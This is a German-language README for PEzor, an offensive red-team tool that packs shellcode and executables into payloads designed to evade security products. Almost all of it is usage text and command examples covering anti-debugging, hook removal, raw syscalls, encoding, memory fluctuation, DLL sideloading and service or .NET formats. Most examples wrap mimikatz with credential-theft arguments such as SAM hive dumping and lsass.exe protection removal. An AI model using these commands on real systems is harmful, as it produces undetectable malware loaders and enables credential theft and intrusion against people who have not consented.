
Verpacken Sie Shellcode und PE-Executables in ausweichende Payloads mit Anti-Debug-, Unhooking-, Syscall- und Memory-Fluktuationstechniken für Red-Team-Operationen.
Lies die Blogbeiträge hier:
________________
< PEzor!! v3.3.0 >
----------------
\ / \ //\
\ |\___/| / \// \\
/0 0 \__ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
---------------------------------------------------------------------------
Das install.sh ist für die Verwendung auf einer Kali-Linux-Distribution ausgelegt.
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
Die PATH-Variable muss aktualisiert werden, um einen bestimmten Commit von Donut zu verwenden! Siehe das aktualisierte install.sh-Skript.
PEzor helpHilfe für PEzor anzeigen
VERWENDUNG
$ PEzor help
PEzor <EXECUTABLE>Packt die bereitgestellte ausführbare Datei in eine neue
OPTIONEN
-h Zeigt die Verwendung an und beendet
-32 Erzwingt 32-Bit ausführbare Datei
-64 Erzwingt 64-Bit ausführbare Datei
-debug Erzeugt einen Debug-Build
-unhook Entfernung von User-Land-Hooks
-antidebug Fügt Anti-Debug-Prüfungen hinzu
-syscalls Verwendet rohe Syscalls [nur 64-Bit] [nur Windows 10]
-sgn Kodiert das erzeugte Shellcode mit sgn
-text Shellcode im .text-Abschnitt statt .data speichern
-rx RX-Speicher für Shellcode allozieren
-self Shellcode im selben Thread ausführen
-sdk=VERSION Verwendete .NET Framework-Version angeben (2, 4, 4.5 (Standard))
-cleanup Bereinigung des alloziierten Payloads und geladener Module durchführen (nur für BOFs)
-sleep=N Wartet N Sekunden vor dem Entpacken des Shellcodes
-format=FORMAT Gibt Ergebnis im angegebenen FORMAT aus (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Speicherbereich durch Hooking von Sleep() auf PROTECTION (RW oder NA) oszillieren
-xorkey=KEY Payload mit einfachem Multi-Byte-XOR verschlüsseln, den Schlüssel zur Laufzeit über GetComputerNameExA(ComputerNameDnsFullyQualified) abrufen
[donut args...] Nach der zu packenden ausführbaren Datei können zusätzliche Donut-Argumente wie -z 2 übergeben werden
BEISPIELE
# 64-bit (self-inject RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-bit (self-inject RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-bit (raw syscalls)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64-bit (fluctuate to READWRITE when sleeping)
$ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-bit (fluctuate to NOACCESS when sleeping)
$ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-bit (use environmental keying with GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64-bit (support EXEs with resources by keeping PE headers in memory)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
# 64-bit (beacon object file)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (service exe)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (service dll)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 32-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread) and arguments for donut
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"
PEzor <SHELLCODE>Packt den bereitgestellten Shellcode in eine ausführbare Datei
VERWENDUNG
$ PEzor <-32|-64> [optionen...] <SHELLCODE>
OPTIONEN
-h Zeigt die Verwendung an und beendet
-32 Erzwingt 32-Bit ausführbare Datei
-64 Erzwingt 64-Bit ausführbare Datei
-debug Erzeugt einen Debug-Build
-unhook Entfernung von User-Land-Hooks
-antidebug Fügt Anti-Debug-Prüfungen hinzu
-shellcode Shellcode-Erkennung erzwingen
-syscalls Verwendet rohe Syscalls [nur 64-Bit] [nur Windows 10]
-sgn Kodiert den bereitgestellten Shellcode mit sgn
-text Shellcode im .text-Abschnitt statt .data speichern
-rx RX-Speicher für Shellcode allozieren
-self Shellcode im selben Thread ausführen [erfordert RX-Shellcode, nicht kompatibel mit -sgn]
-cleanup Bereinigung des alloziierten Payloads und geladener Module durchführen (nur für BOFs)
-sleep=N Wartet N Sekunden vor dem Entpacken des Shellcodes
-format=FORMAT Gibt Ergebnis im angegebenen FORMAT aus (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Speicherbereich durch Hooking von Sleep() auf PROTECTION (RW oder NA) oszillieren
-xorkey=KEY Payload mit einfachem Multi-Byte-XOR verschlüsseln, den Schlüssel zur Laufzeit über GetComputerNameExA(ComputerNameDnsFullyQualified) abrufen
BEISPIELE
# 64-bit (self-inject RWX)
$ PEzor.sh shellcode.bin
# 64-bit (self-inject RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64-bit (raw syscalls)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64-bit (fluctuate to READWRITE when sleeping)
$ PEzor.sh -fluctuate=RW shellcode.bin
# 64-bit (fluctuate to NOACCESS when sleeping)
$ PEzor.sh -fluctuate=NA shellcode.bin
# 64-bit (use environmental keying with GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
# 64-bit (beacon object file)
$ PEzor.sh -format=bof shellcode.bin
# 64-bit (beacon object file w/ cleanup)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64-bit (dll)
$ PEzor.sh -format=dll shellcode.bin
# 64-bit (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64-bit (reflective dll)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64-bit (service exe)
$ PEzor.sh -format=service-exe shellcode.bin
# 64-bit (service dll)
$ PEzor.sh -format=service-dll shellcode.bin
# 64-bit (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64-bit (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64-bit (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32-bit (self-inject)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin
Siehe Code: PEzor.sh